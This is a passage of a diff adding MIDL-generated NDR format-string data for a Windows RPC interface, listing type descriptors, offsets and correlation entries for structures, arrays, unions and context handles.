FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 1188 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1190 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 1192 */ NdrFcShort( 0xe8 ), /* 232 */ +/* 1194 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1196 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 1200 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 1202 */ + 0x12, 0x0, /* FC_UP */ +/* 1204 */ NdrFcShort( 0xfd28 ), /* Offset= -728 (476) */ +/* 1206 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1208 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 1210 */ NdrFcShort( 0x110 ), /* 272 */ +/* 1212 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1214 */ NdrFcShort( 0x46 ), /* Offset= 70 (1284) */ +/* 1216 */ 0xb, /* FC_HYPER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1218 */ 0x0, /* 0 */ + NdrFcShort( 0xfb4d ), /* Offset= -1203 (16) */ + 0x36, /* FC_POINTER */ +/* 1222 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1224 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1226 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1228 */ 0x8, /* FC_LONG */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1230 */ 0x0, /* 0 */ + NdrFcShort( 0xff3f ), /* Offset= -193 (1038) */ + 0x8, /* FC_LONG */ +/* 1234 */ 0x36, /* FC_POINTER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1236 */ 0x0, /* 0 */ + NdrFcShort( 0xfb47 ), /* Offset= -1209 (28) */ + 0x8, /* FC_LONG */ +/* 1240 */ 0x8, /* FC_LONG */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1242 */ 0x0, /* 0 */ + NdrFcShort( 0xfb35 ), /* Offset= -1227 (16) */ + 0x8, /* FC_LONG */ +/* 1246 */ 0x40, /* FC_STRUCTPAD4 */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1248 */ 0x0, /* 0 */ + NdrFcShort( 0xff33 ), /* Offset= -205 (1044) */ + 0x8, /* FC_LONG */ +/* 1252 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 1254 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1256 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 1258 */ 0x8, /* FC_LONG */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1260 */ 0x0, /* 0 */ + NdrFcShort( 0xfb2f ), /* Offset= -1233 (28) */ + 0x8, /* FC_LONG */ +/* 1264 */ 0x40, /* FC_STRUCTPAD4 */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1266 */ 0x0, /* 0 */ + NdrFcShort( 0xfb29 ), /* Offset= -1239 (28) */ + 0x8, /* FC_LONG */ +/* 1270 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1272 */ 0x40, /* FC_STRUCTPAD4 */ + 0x36, /* FC_POINTER */ +/* 1274 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1276 */ 0x36, /* FC_POINTER */ + 0x8, /* FC_LONG */ +/* 1278 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1280 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1282 */ 0x40, /* FC_STRUCTPAD4 */ + 0x5b, /* FC_END */ +/* 1284 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1286 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1288 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1290 */ NdrFcShort( 0xff82 ), /* Offset= -126 (1164) */ +/* 1292 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1294 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1296 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1298 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1300 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1302 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1304 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1306 */ NdrFcShort( 0xff88 ), /* Offset= -120 (1186) */ +/* 1308 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 1310 */ NdrFcShort( 0x2 ), /* Offset= 2 (1312) */ +/* 1312 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 1314 */ 0x0, /* 0 */ + 0x1, /* 1 */ +/* 1316 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1318 */ NdrFcShort( 0x2 ), /* Offset= 2 (1320) */ +/* 1320 */ + 0x12, 0x0, /* FC_UP */ +/* 1322 */ NdrFcShort( 0x18 ), /* Offset= 24 (1346) */ +/* 1324 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 1326 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 1328 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 1330 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1332 */ NdrFcShort( 0x2 ), /* Offset= 2 (1334) */ +/* 1334 */ NdrFcShort( 0x8 ), /* 8 */ +/* 1336 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1338 */ NdrFcLong( 0x1 ), /* 1 */ +/* 1342 */ NdrFcShort( 0xfecc ), /* Offset= -308 (1034) */ +/* 1344 */ NdrFcShort( 0xffff ), /* Offset= -1 (1343) */ +/* 1346 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 1348 */ NdrFcShort( 0x10 ), /* 16 */ +/* 1350 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1352 */ NdrFcShort( 0x0 ), /* Offset= 0 (1352) */ +/* 1354 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1356 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1358 */ NdrFcShort( 0xffde ), /* Offset= -34 (1324) */ +/* 1360 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1362 */ + 0x12, 0x0, /* FC_UP */ +/* 1364 */ NdrFcShort( 0x1a ), /* Offset= 26 (1390) */ +/* 1366 */ + 0x1b, /* FC_CARRAY */ + 0x7, /* 7 */ +/* 1368 */ NdrFcShort( 0x8 ), /* 8 */ +/* 1370 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 1372 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1374 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1376 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 1378 */ + 0x1b, /* FC_CARRAY */ + 0x3, /* 3 */ +/* 1380 */ NdrFcShort( 0x4 ), /* 4 */ +/* 1382 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 1384 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1386 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1388 */ 0x8, /* FC_LONG */ + 0x5b, /* FC_END */ +/* 1390 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 1392 */ NdrFcShort( 0x18 ), /* 24 */ +/* 1394 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1396 */ NdrFcShort( 0x8 ), /* Offset= 8 (1404) */ +/* 1398 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1400 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 1402 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1404 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1406 */ NdrFcShort( 0xffd8 ), /* Offset= -40 (1366) */ +/* 1408 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1410 */ NdrFcShort( 0xffe0 ), /* Offset= -32 (1378) */ +/* 1412 */ + 0x11, 0x8, /* FC_RP [simple_pointer] */ +/* 1414 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1416 */ + 0x11, 0x0, /* FC_RP */ +/* 1418 */ NdrFcShort( 0xfa86 ), /* Offset= -1402 (16) */ +/* 1420 */ + 0x11, 0x0, /* FC_RP */ +/* 1422 */ NdrFcShort( 0x16 ), /* Offset= 22 (1444) */ +/* 1424 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 1426 */ NdrFcShort( 0x10 ), /* 16 */ +/* 1428 */ 0xb, /* FC_HYPER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1430 */ 0x0, /* 0 */ + NdrFcShort( 0xfa85 ), /* Offset= -1403 (28) */ + 0x5b, /* FC_END */ +/* 1434 */ + 0x1d, /* FC_SMFARRAY */ + 0x7, /* 7 */ +/* 1436 */ NdrFcShort( 0x40 ), /* 64 */ +/* 1438 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1440 */ NdrFcShort( 0xfff0 ), /* Offset= -16 (1424) */ +/* 1442 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1444 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 1446 */ NdrFcShort( 0xc0 ), /* 192 */ +/* 1448 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1450 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (1424) */ +/* 1452 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1454 */ NdrFcShort( 0xffe2 ), /* Offset= -30 (1424) */ +/* 1456 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1458 */ NdrFcShort( 0xffde ), /* Offset= -34 (1424) */ +/* 1460 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1462 */ NdrFcShort( 0xffda ), /* Offset= -38 (1424) */ +/* 1464 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1466 */ NdrFcShort( 0xffd6 ), /* Offset= -42 (1424) */ +/* 1468 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1470 */ NdrFcShort( 0xffd2 ), /* Offset= -46 (1424) */ +/* 1472 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1474 */ NdrFcShort( 0xffce ), /* Offset= -50 (1424) */ +/* 1476 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1478 */ NdrFcShort( 0xffca ), /* Offset= -54 (1424) */ +/* 1480 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1482 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (1434) */ +/* 1484 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1486 */ + 0x11, 0x0, /* FC_RP */ +/* 1488 */ NdrFcShort( 0x2 ), /* Offset= 2 (1490) */ +/* 1490 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 1492 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1494 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 1496 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1498 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1500 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 1502 */ + 0x11, 0xc, /* FC_RP [alloced_on_stack] [simple_pointer] */ +/* 1504 */ 0x8, /* FC_LONG */ + 0x5c, /* FC_PAD */ +/* 1506 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1508 */ NdrFcShort( 0x2 ), /* Offset= 2 (1510) */ +/* 1510 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1512 */ NdrFcShort( 0x2 ), /* Offset= 2 (1514) */ +/* 1514 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 1516 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1518 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 1520 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1522 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1524 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 1526 */ + 0x11, 0x0, /* FC_RP */ +/* 1528 */ NdrFcShort( 0x2 ), /* Offset= 2 (1530) */ +/* 1530 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 1532 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1534 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 1536 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1538 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1540 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 1542 */ 0x30, /* FC_BIND_CONTEXT */ + 0x41, /* Ctxt flags: in, can't be null */ +/* 1544 */ 0x0, /* 0 */ + 0x1, /* 1 */ +/* 1546 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1548 */ NdrFcShort( 0x2 ), /* Offset= 2 (1550) */ +/* 1550 */ + 0x12, 0x0, /* FC_UP */ +/* 1552 */ NdrFcShort( 0x3c ), /* Offset= 60 (1612) */ +/* 1554 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 1556 */ NdrFcShort( 0x40 ), /* 64 */ +/* 1558 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1560 */ NdrFcShort( 0xe ), /* Offset= 14 (1574) */ +/* 1562 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1564 */ 0xb, /* FC_HYPER */ + 0x36, /* FC_POINTER */ +/* 1566 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1568 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 1570 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1572 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 1574 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1576 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1578 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1580 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1582 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1584 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1586 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1588 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1590 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 1592 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1594 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 1596 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1598 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1600 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 1604 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 1606 */ + 0x12, 0x0, /* FC_UP */ +/* 1608 */ NdrFcShort( 0xffca ), /* Offset= -54 (1554) */ +/* 1610 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1612 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 1614 */ NdrFcShort( 0x10 ), /* 16 */ +/* 1616 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1618 */ NdrFcShort( 0x6 ), /* Offset= 6 (1624) */ +/* 1620 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 1622 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 1624 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1626 */ NdrFcShort( 0xffdc ), /* Offset= -36 (1590) */ +/* 1628 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1630 */ NdrFcShort( 0x2 ), /* Offset= 2 (1632) */ +/* 1632 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1634 */ NdrFcShort( 0x2 ), /* Offset= 2 (1636) */ +/* 1636 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 1638 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1640 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 1642 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1644 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1646 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 1650 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 1652 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1654 */ NdrFcShort( 0xf99a ), /* Offset= -1638 (16) */ +/* 1656 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1658 */ + 0x11, 0x0, /* FC_RP */ +/* 1660 */ NdrFcShort( 0x2 ), /* Offset= 2 (1662) */ +/* 1662 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 1664 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1666 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 1668 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1670 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1672 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 1676 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 1678 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1680 */ NdrFcShort( 0xf980 ), /* Offset= -1664 (16) */ +/* 1682 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1684 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1686 */ NdrFcShort( 0x2 ), /* Offset= 2 (1688) */ +/* 1688 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1690 */ NdrFcShort( 0x2 ), /* Offset= 2 (1692) */ +/* 1692 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 1694 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1696 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 1698 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1700 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1702 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 1704 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 1706 */ NdrFcShort( 0xf9c4 ), /* Offset= -1596 (110) */ +/* 1708 */ + 0x11, 0x0, /* FC_RP */ +/* 1710 */ NdrFcShort( 0x2 ), /* Offset= 2 (1712) */ +/* 1712 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 1714 */ NdrFcShort( 0x10 ), /* 16 */ +/* 1716 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1718 */ NdrFcShort( 0x6 ), /* Offset= 6 (1724) */ +/* 1720 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1722 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 1724 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1726 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1728 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1730 */ NdrFcShort( 0xff10 ), /* Offset= -240 (1490) */ +/* 1732 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1734 */ NdrFcShort( 0x2 ), /* Offset= 2 (1736) */ +/* 1736 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 1738 */ NdrFcShort( 0x2 ), /* Offset= 2 (1740) */ +/* 1740 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 1742 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1744 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 1746 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1748 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1750 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 1752 */ + 0x11, 0x4, /* FC_RP [alloced_on_stack] */ +/* 1754 */ NdrFcShort( 0xf942 ), /* Offset= -1726 (28) */ +/* 1756 */ + 0x11, 0x0, /* FC_RP */ +/* 1758 */ NdrFcShort( 0x2 ), /* Offset= 2 (1760) */ +/* 1760 */ + 0x15, /* FC_STRUCT */ + 0x3, /* 3 */ +/* 1762 */ NdrFcShort( 0x60 ), /* 96 */ +/* 1764 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1766 */ NdrFcShort( 0xf92a ), /* Offset= -1750 (16) */ +/* 1768 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1770 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1772 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1774 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1776 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1778 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1780 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1782 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1784 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1786 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 1788 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1790 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1792 */ NdrFcShort( 0xfc04 ), /* Offset= -1020 (772) */ +/* 1794 */ + 0x11, 0x0, /* FC_RP */ +/* 1796 */ NdrFcShort( 0xfcc6 ), /* Offset= -826 (970) */ +/* 1798 */ + 0x11, 0x0, /* FC_RP */ +/* 1800 */ NdrFcShort( 0xf976 ), /* Offset= -1674 (126) */ +/* 1802 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 1804 */ NdrFcShort( 0x2 ), /* Offset= 2 (1806) */ +/* 1806 */ + 0x12, 0x0, /* FC_UP */ +/* 1808 */ NdrFcShort( 0x2 ), /* Offset= 2 (1810) */ +/* 1810 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 1812 */ NdrFcShort( 0x8 ), /* 8 */ +/* 1814 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1816 */ NdrFcShort( 0x4 ), /* Offset= 4 (1820) */ +/* 1818 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 1820 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1822 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1824 */ + 0x11, 0x0, /* FC_RP */ +/* 1826 */ NdrFcShort( 0x182 ), /* Offset= 386 (2212) */ +/* 1828 */ + 0x2b, /* FC_NON_ENCAPSULATED_UNION */ + 0x8, /* FC_LONG */ +/* 1830 */ 0x8, /* Corr desc: FC_LONG */ + 0x0, /* */ +/* 1832 */ NdrFcShort( 0xfff8 ), /* -8 */ +/* 1834 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 1836 */ NdrFcShort( 0x2 ), /* Offset= 2 (1838) */ +/* 1838 */ NdrFcShort( 0x8 ), /* 8 */ +/* 1840 */ NdrFcShort( 0x7 ), /* 7 */ +/* 1842 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1846 */ NdrFcShort( 0x28 ), /* Offset= 40 (1886) */ +/* 1848 */ NdrFcLong( 0x1 ), /* 1 */ +/* 1852 */ NdrFcShort( 0x30 ), /* Offset= 48 (1900) */ +/* 1854 */ NdrFcLong( 0x2 ), /* 2 */ +/* 1858 */ NdrFcShort( 0x68 ), /* Offset= 104 (1962) */ +/* 1860 */ NdrFcLong( 0x3 ), /* 3 */ +/* 1864 */ NdrFcShort( 0x80 ), /* Offset= 128 (1992) */ +/* 1866 */ NdrFcLong( 0x4 ), /* 4 */ +/* 1870 */ NdrFcShort( 0x88 ), /* Offset= 136 (2006) */ +/* 1872 */ NdrFcLong( 0x5 ), /* 5 */ +/* 1876 */ NdrFcShort( 0xac ), /* Offset= 172 (2048) */ +/* 1878 */ NdrFcLong( 0x6 ), /* 6 */ +/* 1882 */ NdrFcShort( 0xc4 ), /* Offset= 196 (2078) */ +/* 1884 */ NdrFcShort( 0xffff ), /* Offset= -1 (1883) */ +/* 1886 */ + 0x12, 0x0, /* FC_UP */ +/* 1888 */ NdrFcShort( 0x2 ), /* Offset= 2 (1890) */ +/* 1890 */ + 0x15, /* FC_STRUCT */ + 0x7, /* 7 */ +/* 1892 */ NdrFcShort( 0x10 ), /* 16 */ +/* 1894 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1896 */ NdrFcShort( 0xf8b4 ), /* Offset= -1868 (28) */ +/* 1898 */ 0xb, /* FC_HYPER */ + 0x5b, /* FC_END */ +/* 1900 */ + 0x12, 0x0, /* FC_UP */ +/* 1902 */ NdrFcShort( 0x2 ), /* Offset= 2 (1904) */ +/* 1904 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x7, /* 7 */ +/* 1906 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 1908 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1910 */ NdrFcShort( 0x24 ), /* Offset= 36 (1946) */ +/* 1912 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1914 */ NdrFcShort( 0xf8a2 ), /* Offset= -1886 (28) */ +/* 1916 */ 0xb, /* FC_HYPER */ + 0x36, /* FC_POINTER */ +/* 1918 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 1920 */ 0xb, /* FC_HYPER */ + 0x8, /* FC_LONG */ +/* 1922 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1924 */ NdrFcShort( 0xf88c ), /* Offset= -1908 (16) */ +/* 1926 */ 0x40, /* FC_STRUCTPAD4 */ + 0xb, /* FC_HYPER */ +/* 1928 */ 0x36, /* FC_POINTER */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 1930 */ 0x0, /* 0 */ + NdrFcShort( 0xf891 ), /* Offset= -1903 (28) */ + 0xb, /* FC_HYPER */ +/* 1934 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 1936 */ NdrFcShort( 0xf88c ), /* Offset= -1908 (28) */ +/* 1938 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 1940 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 1942 */ 0xb, /* FC_HYPER */ + 0xb, /* FC_HYPER */ +/* 1944 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 1946 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1948 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1950 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1952 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1954 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1956 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1958 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 1960 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 1962 */ + 0x12, 0x0, /* FC_UP */ +/* 1964 */ NdrFcShort( 0x2 ), /* Offset= 2 (1966) */ +/* 1966 */ + 0x1a, /* FC_BOGUS_STRUCT 